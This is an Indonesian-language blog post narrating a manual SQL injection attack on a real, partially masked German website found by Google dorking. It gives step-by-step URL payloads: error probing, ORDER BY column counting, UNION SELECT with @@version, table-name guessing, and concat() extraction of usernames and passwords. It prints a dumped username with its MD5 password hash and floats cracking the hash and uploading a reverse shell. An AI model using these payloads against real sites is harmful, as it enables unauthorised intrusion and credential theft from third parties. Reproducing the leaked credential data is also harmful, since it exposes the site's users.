SQL Injection Day

Website yang baik adalah website yang sedikit ruang untuk pengunjung berkreatifitas (misal: sedikit input) dan yang sedikit ruang agar pengunjung mendapatkan petunjuk untuk berkreatifitas (misal: output pesan error). Hahahah keren juga kalimatnya prett. Kembali lagi ke cerita saya di postingan yang lalu bahwa pesan error adalah bagaikan lampu berpijar di kuburan eh di gang yang gelap. Dengan pesan error kita bisa mendapatkan petunjuk untuk terus bereksplorasi dan akhirnya sampailah mendapatkan yang kita inginkan. Kalau bisa dengan browser  jangan dulu pake tools macam2. Seperti kata pepatah: ngapain bunuh semut pake bazooka kalau pake tusuk gigi juga bisa.

Tundepuin saja hari ini kita ambil sebuah website untuk dijadikan korban serangan. Website ini adalah website berdomain [dot]de yang saya dapat dari googling (baca: dorking). Mulai lah dari melakukan browsing biasa2 saja di situs tersebut. Cuma pengen tau ini webshit apaan.. eh bahasa Jerman.. ga jadi dah.. langsung aja di coba suntik.. Yuk mari..

–==Mulai dari sini, kita bicara tentang keberuntungan, bukan teknik lagi haha==–

Pertama-tama ada halaman yang URLnya seperti dibawah ini:
http://www.s*********************g.de/news.php?id=49
Dan dibawah ini adalah capture gambarnya
Halaman Website Target

Mari kita trial and error saja, karena menurut cache google website ini pernah mengeluarkan pesan error =P. Ya sudahlah asal-asalan aja kita coba tambahkan karakter setelah angka 49 sehingga URLnya menjadi
http://www.s*********************g.de/news.php?id=49′ –> ada tanda ‘ di akhir..
Attempt #1

Oh bener sajah webshit ini sangat spoiler sekali memberi tau errornya. Error-error-nya mengingatkan saya pada masa-masa debug developing website saja hahaha. Sekarang kita coba lagi injeksi di URL untuk mengetahui jumlah kolom dari tabel yang digunakan
http://www.s*********************g.de/news.php?id=49 order by 20–
NB: “–” adalah perintah comment pada SQL. sehingga karakter dan query apapun yang berada setelah tanda “–” dianggap komentar alias akan diabaikan.
Attempt #2

Terlihat disana ada baris menyatakan MySQL Error: Unknown column ’20’ in ‘order clause’. Ini berarti server tidak tau kolom ke-20 atau dengan kata lain kolom ke-20 adalah tidak ada.. Trial and error aja kita turunkan value 20 menjadi 19, 18, 17, 16, 15 dann akhirnya di iterasi ke-15 pesan error sudah tidak ada. Alias kolom ke-15 exist.
http://www.s*********************g.de/news.php?id=49 order by 15–
Attempt #3

Nah ternyata gak error. Sekarang coba mengambil data lain pada database menggunakan UNION. UNION adalah perintah SQL yang akan menggabungkan hasil dari dua atau lebih dari perintah SELECT. Tetapi dengan syarat kolomnya sama. Kita sudah dapat kolom tabel target kita ini adalah 15 buah. Maka kita tinggal membuat SQL UNION dengan kolom 15 buah juga dengan perintah:
http://www.s*********************g.de/news.php?id=-49+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–
Attempt #4

Ternyata kolom 4 dan 6 jika di UNION dengan query bisa kita manfaatkan.. Coba cek versi MySQL untuk kebutuhan kita selanjutnya.. Jangan lupa untuk memasukkan perintah ini hanya ke kolom 4 dan 6 kalau mau liat dia nongol di halaman ini..
http://www.s*********************g.de/news.php?id=-49+union+select+1,2,3,@@version,5,6,7,8,9,10,11,12,13,14,15–
Dalam contoh ini, saya memasukkan @@version (untuk melihat versi mysql) ke kolom 4, sehingga kolom 4 di replace dengan @@version.
Attempt #5

Yep, kolom 4 sudah berganti menjadi versi MySQL. It’s 4.0.18. Menurut info gugling-gugling, versi 4.x tidak bisa memanfaatkan information_schema untuk mengetahui database yang digunakan, table dan kolom yang ada. Jadi mulai dari sini adalah permainan tebak-tebakan sajah. Kita coba tabel “asdf”. Apa spoiler dari webshit ini..
http://www.s*********************g.de/news.php?id=-49+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from asdf–
Attempt #6

Akhirnya error bagaikan mendapat lentera di gurun pasir eh.. bagaikan mendapat air minum di ruang gelap.. eh..
Dari error di atas kita dapat menyimpulkan bahwa database yang digunakan adalah sinfonie dan nama tabel-tabel menggunakan prefix “simfonie_” sepertinya…
Setelah trial and error nama tabel yang memungkinkan (ex: admin, member, news, user) akhirnya mendapatkan URL vulnerablenya yaitu:
http://www.s*********************g.de/news.php?id=-49+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from sinfonie.sinfonie_user–
Tampilannya sama seperti gambar di atas yang menampilkan angka 4 dan 6. Terus dimana vulnerability nya? Seperti sebelumnya, gantilah kolom 4 dan atau kolom 6 dengan perintah tertentu. Untuk mendapatkan data pada field “username” berarti URL nya menjadi
http://www.s*********************g.de/news.php?id=-49+union+select+1,2,3,username,5,6,7,8,9,10,11,12,13,14,15 from sinfonie.sinfonie_user–
Tunggu tunggu.. dari mana saya bisa mendapatkan nama fieldnya “username”? Jawabannya tak lain adalah trial and error…

Terakhir menggunakan MySQL concat() untuk mengambil rangkaian data pada field username dan password (NB: nama field “password” juga dapat dari hasil trial and error).
http://www.s*********************g.de/news.php?id=-49+union+select+1,2,3,concat(username,password),5,6,7,8,9,10,11,12,13,14,15 from sinfonie.sinfonie_user–
Oke, terpampanglah data hasil concat() injeksi query ini. Terlihat kurang rapih:
Lockhead558e496d5ebb1355e264f58d856e8cd0

Bisa terjadi ambigu apakah usernamenya Lockhead55dst.. dengan hash password blablabla.. Baiklah, mari rapihkan penyajian data injeksi dengan menambahkan hexa 0x2c (tanda koma “,”) atau hexa 0x3a (tanda titik dua “:”) sesuai selera =P. Jadi URL yang diinjeksikan adalah sebagai berikut:
http://www.s*********************g.de/news.php?id=-49+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15 from sinfonie.sinfonie_user–
Attempt #7

Didapatkan usernamenya adalah Lockhead terus ada pemisah titik dua dan lanjutannya adalah hash passwordnya, yaitu 558e496d5ebb1355e264f58d856e8cd0. Karena ini 32 huruf, mari kita asumsikan bahwa ini adalah md5. Karena md5 adalah one-way hashing atau tidak bisa di dekripsi, mari kita serahkan ke supercomputer di internet untuk meng-crack hash tersebut pake dictionary attack. Karena dictionarynya lebih lengkap dari komputer saya hahaha.

Selanjutnya mau diapain? Apakah mau login dan kita upload reverse shell sehingga menjadi seperti postingan saya sebelumnya. Orang bijak tidak bajak.

One thought on “SQL Injection Day

Leave a Reply

Your email address will not be published. Required fields are marked *